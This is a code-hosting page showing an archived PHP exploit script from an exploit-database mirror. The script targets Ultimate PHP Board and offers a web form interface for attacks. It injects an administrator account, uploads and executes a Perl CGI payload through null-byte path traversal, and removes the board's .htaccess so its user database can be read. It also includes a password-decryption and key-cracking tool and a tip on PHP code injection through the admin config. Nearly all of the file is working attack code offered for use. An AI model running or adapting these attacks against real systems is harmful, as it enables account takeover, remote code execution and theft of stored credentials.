PageRenderTime 47ms CodeModel.GetById 22ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/1932.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 347 lines | 71 code | 13 blank | 263 comment | 11 complexity | 91e81d5fd4702bd26510b6d7f2849dad MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. /*
  3. Advisory:
  4. http://www.kliconsulting.com/users/mbrooks/UPBadvisory.rtf
  5. Vendors site:
  6. http://forum.myupb.com/
  7. Download:
  8. http://fileserv.myupb.com/download.php?url=upb196GOLD.zip
  9. http://prdownloads.sourceforge.net/textmb/upb1.8.2.zip?download
  10. Download Mirror:
  11. http://www.kliconsulting.com/users/mbrooks/upb196GOLD.zip
  12. http://www.kliconsulting.com/users/mbrooks/upb1.8.2.zip
  13. */
  14. //perl cgi code to inject into vulnerable system:
  15. //payload should start with [NR] and end with #;
  16. $perlPayload="[NR] use CGI qw(:standard);print header;print \" start \";print \" 0-day \";print \" exploit \"; print \" code end \";#";
  17. $v1_xKey="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
  18. //taken from ./textdb.inc.php line 324:
  19. function t_decrypt($text,$key){
  20. $crypt = "";
  21. for($i=0;$i<strlen($text);$i++)
  22. {
  23. $i_key = ord(substr($key, $i, 1));
  24. $i_text = ord(substr($text, $i, 1));
  25. $n_key = ord(substr($key, $i+1, 1));
  26. $i_crypt = $i_text + $n_key;
  27. $i_crypt = $i_crypt - $i_key;
  28. $crypt .= chr($i_crypt);
  29. }
  30. return $crypt;
  31. }
  32. function t_encrypt($text, $key)
  33. {
  34. $crypt = "";
  35. for($i=0;$i<strlen($text);$i++)
  36. {
  37. // print $i."key char:".substr($key, $i, 1)."<br>";
  38. $i_key = ord(substr($key, $i, 1));
  39. // print $i."ikey:".$i_key."<br>";
  40. $i_text = ord(substr($text, $i, 1));
  41. // print $i."itext:".$i_text."<br>";
  42. $n_key = ord(substr($key, $i+1, 1));
  43. // print $i."nkey:".$n_key."<br>";
  44. $i_crypt = $i_text + $i_key;
  45. // print $i."T+K_crypt:".$i_crypt ."<br>";
  46. $i_crypt = $i_crypt - $n_key;
  47. // print $i."I-N_crypt:".$i_crypt."<br>";
  48. $crypt .= chr($i_crypt);
  49. $offset0=$i_crypt-$i_text;
  50. // print "key=$i_key - $n_key<br>";
  51. // print "offset0:$offset0=$i_crypt-$i_text<br>";
  52. $offset=$i_key-$n_key;
  53. //print "offset:$offset<br>";
  54. // $broken=$i_text+$offset;
  55. // print "broken:".$broken;
  56. }
  57. return $crypt;
  58. }
  59. function gen_collision($offset, $start){//$start should be a number of an ascii char
  60. $offset_len=strlen($offset);
  61. $x=0;
  62. // print "len:".$offset_len."<br>";
  63. // for($x=0;$x<$offset_len;$x++){//$offset as $off_int){
  64. foreach($offset as $off_char){
  65. if($x==0){
  66. $newkey.=chr($start);
  67. $nextchar=$start;
  68. $x++;
  69. }
  70. // print "next char: $nextchar "."offset:".$off_char."<br>";
  71. $tmp=$nextchar - $off_char;
  72. $newkey.=chr($tmp);
  73. $nextchar=$tmp;
  74. }
  75. return $newkey;
  76. }
  77. function gen_offset($crypt,$text){
  78. $text_len=strlen($text);
  79. for($x=0;$x<$text_len;$x++){
  80. // print "crypt:".substr($crypt, $x, 1).'text:'.substr($text, $x, 1).'<br>';
  81. $cry_hex=ord(substr($crypt, $x, 1));
  82. $txt_hex=ord(substr($text, $x, 1));
  83. $offset[$x]=$cry_hex - $txt_hex;
  84. //print "offset".$offset."crypt".$cry_hex."text".$txt_hex[x]."<br>";
  85. }
  86. return $offset;//numeric array
  87. }
  88. function http_gpc_send( $method, $host, $port ,$usepath,$cookie="", $postdata = "") {
  89. $fp = pfsockopen( $host, $port, &$errno, &$errstr, 120 );
  90. # user-agent name
  91. $ua = "msnbot/1.0 (+http://search.msn.com/msnbot.htm)";
  92. if( !$fp ) {
  93. print "$errstr ($errno)<br>\nn";
  94. } else {
  95. if( $method == "GET" ) {
  96. fputs( $fp, "GET $usepath HTTP/1.0\n" );
  97. }
  98. else if( $method == "POST" ) {
  99. fputs( $fp, "POST $usepath HTTP/1.0\n" );
  100. }
  101. fputs( $fp, "User-Agent: ".$ua."\n" );
  102. fputs($fp, "Host: ".$host."\n");
  103. fputs( $fp, "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" );
  104. fputs( $fp, "Accept-Language: en-us,en;q=0.5\n" );
  105. fputs( $fp, "Accept-Encoding: gzip,deflate\n" );
  106. fputs( $fp, "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" );
  107. fputs( $fp, "Cookie: ".$cookie."\n" );
  108. if( $method == "POST" ) {
  109. $strlength = strlen( $postdata );
  110. fputs( $fp, "Content-type: application/x-www-form-urlencoded\n" );
  111. fputs( $fp, "Content-length: ".$strlength."\n\n" );
  112. fputs( $fp, $postdata."\n\n");
  113. }
  114. fputs( $fp, "\n\n" );
  115. $output = "";
  116. while( !feof( $fp ) ) {
  117. $output .= fgets( $fp, 1024 );
  118. }
  119. fclose( $fp );
  120. }
  121. return $output;
  122. }
  123. function getAdmin($victHost, $victPort, $victPath, $exp_user_env,$exp_pass_env,$exp_id_env){
  124. $exp_power_env="3";//admin
  125. $InjectUserPost="u_login=te".rand()."1&u_email=rew".rand()."@wfje.com&u_loca=&u_site=&avatar=images%2Favatars%2Fnoavatar.gif&u_icq=&u_aim=&u_msn=&u_sig=s%3C%7E%3E0%3C%7E%3E2006-04-20%5BNR%5D".$exp_user_env."%3C%7E%3E".$exp_pass_env."%3C%7E%3E".$exp_power_env."%3C%7E%3EA%40a.com%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E1%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E13%3C%7E%3E%3C%7E%3E1%3C%7E%3E".$exp_id_env."&submit=Submit";
  126. http_gpc_send("POST", $victHost, $victPort, $victPath."/register.php", "", $InjectUserPost);
  127. }
  128. if(isset($_REQUEST['vict'])){
  129. $payName="data".rand().".cgi";//must be .cgi
  130. $expPost="u_name=Admin&subject=hey&icon=#!/usr/bin/perl -wT \"&message=$perlPayload&id=/../images/$payName%00";
  131. $exp_user_env="Jockie227";
  132. $exp_pass_env="tZbi}";
  133. $exp_power_env="3";
  134. $exp_id_env=4000000000+rand(0,300000000);
  135. //The script is injecting user into the database; becase of this the cookie is known before the script even contacts the vulnerable "Ultamate PHP Boar". Also note that a time stamp is not needed.
  136. $cookie="user_env=$exp_user_env; pass_env=$exp_pass_env; power_env=$exp_power_env; id_env=$exp_id_env";
  137. $url_parsed = parse_url($_REQUEST['vict']);
  138. if ( empty($url_parsed['scheme']) ) {
  139. $url_parsed = parse_url('http://'.$url);
  140. }
  141. $rtn['url'] = $url_parsed;
  142. $victPort = $url_parsed["port"];
  143. if ( !$port ) {
  144. $victPort = 80;
  145. }
  146. $victPath = $url_parsed["path"];
  147. $victHost = $url_parsed["host"];
  148. print "<title> Ultamate PHP Board Remote Code EXEC 0-Day </title>";
  149. print "<CENTER><B><I>0-day</I></B></CENTER>";
  150. //injecting user into database, this information is used to verify session information
  151. getAdmin($victHost, $victPort, $victPath, $exp_user_env,$exp_pass_env,$exp_id_env);
  152. //http_gpc_send("POST", $victHost, $victPort, $victPath."/register.php", "", $InjectUserPost);
  153. // http_gpc_send("GET", $victHost, $victPort, $victPath."/open.php?id=../images%00", $cookie);
  154. //uploading CGI
  155. $field=http_gpc_send("POST", $victHost, $victPort, $victPath."/newpost.php?a=1&t=1&page=1", $cookie, $expPost);
  156. //making cgi executeable usei "close.php"
  157. http_gpc_send("GET", $victHost, $victPort, $victPath."/close.php?id=../images/".$payName."%00", $cookie);
  158. //executing cgi
  159. $feedBack=http_gpc_send("GET",$victHost, $victPort, $victPath."/images/".$payName);
  160. $field = str_replace("<", "&lt;", $field);
  161. $field = str_replace(">", "&gt;", $field);
  162. // print $field;
  163. print $feedBack;
  164. exit;
  165. }elseif(isset($_REQUEST['victHTA'])){
  166. $expPost="u_name=#&message=#&id=/.htaccess%00";
  167. $exp_user_env="Jockie227";
  168. $exp_pass_env="tZbi}";
  169. $exp_power_env="3";
  170. $exp_id_env=4000000000+rand(0,300000000);
  171. //The script is injecting user into the database; becase of this the cookie is known before the script even contacts the vulnerable Ultamate PHP Board. Also note that a time stamp is not needed.
  172. $cookie="user_env=$exp_user_env; pass_env=$exp_pass_env; power_env=$exp_power_env; id_env=$exp_id_env";
  173. $url_parsed = parse_url($_REQUEST['victHTA']);
  174. if ( empty($url_parsed['scheme']) ) {
  175. $url_parsed = parse_url('http://'.$url);
  176. }
  177. $rtn['url'] = $url_parsed;
  178. $victPort = $url_parsed["port"];
  179. if ( !$port ) {
  180. $victPort = 80;
  181. }
  182. $victPath = $url_parsed["path"];
  183. $victHost = $url_parsed["host"];
  184. //injecting user into database, this information is used to verify session information
  185. getAdmin($victHost, $victPort, $victPath, $exp_user_env,$exp_pass_env,$exp_id_env);
  186. //
  187. $field=http_gpc_send("POST", $victHost, $victPort, $victPath."/newpost.php?a=1&t=1&page=1", $cookie, $expPost);
  188. // $field = str_replace("<", "&lt;", $field);
  189. // $field = str_replace(">", "&gt;", $field);
  190. // print $field;
  191. print "<script>window.location=\"".$_REQUEST['victHTA']."/db/\";</script>" ;
  192. exit;
  193. }else if(isset($_REQUEST['addVict'])){
  194. $url_parsed = parse_url($_REQUEST['addVict']);
  195. if ( empty($url_parsed['scheme']) ) {
  196. $url_parsed = parse_url('http://'.$url);
  197. }
  198. $rtn['url'] = $url_parsed;
  199. $victPort = $url_parsed["port"];
  200. if ( !$port ) {
  201. $victPort = 80;
  202. }
  203. $victPath = $url_parsed["path"];
  204. $victHost = $url_parsed["host"];
  205. $exp_user_env=$_REQUEST["addName"];
  206. $exp_pass_env=t_encrypt($_REQUEST["addPass"],$v1_xKey);
  207. getAdmin($victHost, $victPort, $victPath, $exp_user_env,$exp_pass_env,4000000000+rand(0,300000000));
  208. print "<title> Ultamate PHP Board Remote Code EXEC 0-Day </title>";
  209. print "<CENTER><B> Admin login Name:".$_REQUEST["addName"]."</B></CENTER>";//this exploit code suffers from xss!
  210. print "<CENTER><B> Admin login Password:".$_REQUEST["addPass"]."</B></CENTER>";
  211. exit;
  212. }else if(isset($_REQUEST['decrypt'])){
  213. print "<I>ecrypted password:</I>";
  214. print "<CENTER>".$_REQUEST["decrypt"]."</CENTER>";
  215. print "<B>Decrypted password:</B>";
  216. print "<CENTER><B>".t_decrypt($_REQUEST["decrypt"],$v1_xKey)."</B></CENTER>";
  217. exit;
  218. }else if(isset($_REQUEST['encrypt'])){
  219. print "<I>ecrypted password:</I>";
  220. print "<CENTER>".$_REQUEST["encrypt"]."</CENTER>";
  221. print "<B>Decrypted password:</B>";
  222. print "<CENTER><B>".t_encrypt($_REQUEST["encrypt"],$v1_xKey)."</B></CENTER>";
  223. // print get_key(t_encrypt($_REQUEST["encrypt"],$v1_xKey),$_REQUEST["encrypt"]);
  224. exit;
  225. }else if(isset($_REQUEST['cypher'])&&isset($_REQUEST['plain'])){
  226. $cypher_len=strlen($_REQUEST['cypher']);
  227. $offset=gen_offset($_REQUEST['cypher'],$_REQUEST['plain']);
  228. print "Offset:";
  229. for($x=0;$x<$cypher_len;$x++){
  230. print $offset[$x].':';
  231. }
  232. print '<br>';
  233. $validKeys=0;
  234. $y=0;
  235. for($y=255;$y>=0;$y--){
  236. $newKey[$y]=gen_collision($offset,$y);
  237. $key_len=strlen($newKey[$y]);
  238. print "<br>Key:$y = ";
  239. for($x=0;$x<=$key_len;$x++){
  240. print $newKey[$y][$x];
  241. }
  242. print "<br>Cypher:".t_encrypt($_REQUEST['plain'],$newKey[$y]);
  243. print "<br>Plain :".t_decrypt($_REQUEST['cypher'],$newKey[$y])."<br><br>";
  244. }
  245. exit;
  246. }
  247. print "<title> Ultimate PHP Board Remote Code EXEC 0-Day </title>
  248. <CENTER><B><I>0-day</I></B></CENTER>
  249. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>
  250. <B><I>Get Admin</I></B><br>
  251. <B>Inject an administrative account into UPB:</B>
  252. <p>
  253. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  254. <p>
  255. Path to attack:<i>(example: http://www.domain.ext/PathToUPB)</i><br>
  256. <input name=\"addVict\" type=\"text\" size=60> <br>
  257. Inject Name:<br>
  258. <input name=\"addName\" type=\"text\" size=60> <br>
  259. Inject Password:<br>
  260. <input name=\"addPass\" type=\"text\" size=60> <br>
  261. <p>
  262. <input type=\"submit\" value=\"Inject Admin\">
  263. </form>
  264. <p>
  265. <B>PHP code injection is possilbe in the admin panel without an exploit. Both admin_config.php and admin_config2.php can be used to execute PHP by tagging on: ' \";phpinfo(); \$crap=\"1 ' to any of the config values </B>( double quotes \" are only used in exploit)</B>
  266. <p>
  267. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>
  268. <B><I>Gain Read Access To The Database</I></B>
  269. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  270. <p>
  271. Removes /db/.htaccess to allow access to the remote target's flat file database:<i>(example: http://www.domain.ext/PathToUPB [no trailing slash]) (user database in /db/users.dat) </i><br><br>
  272. <input name=\"victHTA\" type=\"text\" size=60> <br>
  273. <p>
  274. <input type=\"submit\" value=\"Attack\">
  275. </form>
  276. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>
  277. <B><I>Crypto</I></B>
  278. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  279. <p>
  280. Plain Text Password:<br>
  281. <input name=\"encrypt\" type=\"text\" size=60> <br>
  282. <p>
  283. <input type=\"submit\" value=\"Encrypt\">
  284. </form>
  285. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  286. Encrypted Password:<br>
  287. <input name=\"decrypt\" type=\"text\" size=60> <br>
  288. <p>
  289. <input type=\"submit\" value=\"Decrypt\">
  290. </form>
  291. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>
  292. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  293. <p>
  294. Plain Text:<br>
  295. <input name=\"plain\" type=\"text\" size=60> <br>
  296. <p>
  297. corosponding cypher text:<br>
  298. <input name=\"cypher\" type=\"text\" size=60> <br>
  299. <p>
  300. <input type=\"submit\" value=\"crack key\">
  301. </form>
  302. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br>
  303. <B><I>Proof of Concept Only, Unstable Remote Code Execution Using NON-SQL Database Injection</I></B>
  304. <form ACTION=".$_SERVER['PHP_SELF']." method=\"post\">
  305. <p>
  306. perl CGI Code Injection Attack Remote Target:<br>
  307. <input name=\"vict\" type=\"text\" size=60> <br>
  308. <p>
  309. <input type=\"submit\" value=\"Attack\">
  310. </form>
  311. <B>http://www.domain.ext/PathToUPB (no trailing slash)</B>
  312. </body>";
  313. ?>
  314. # milw0rm.com [2006-06-20]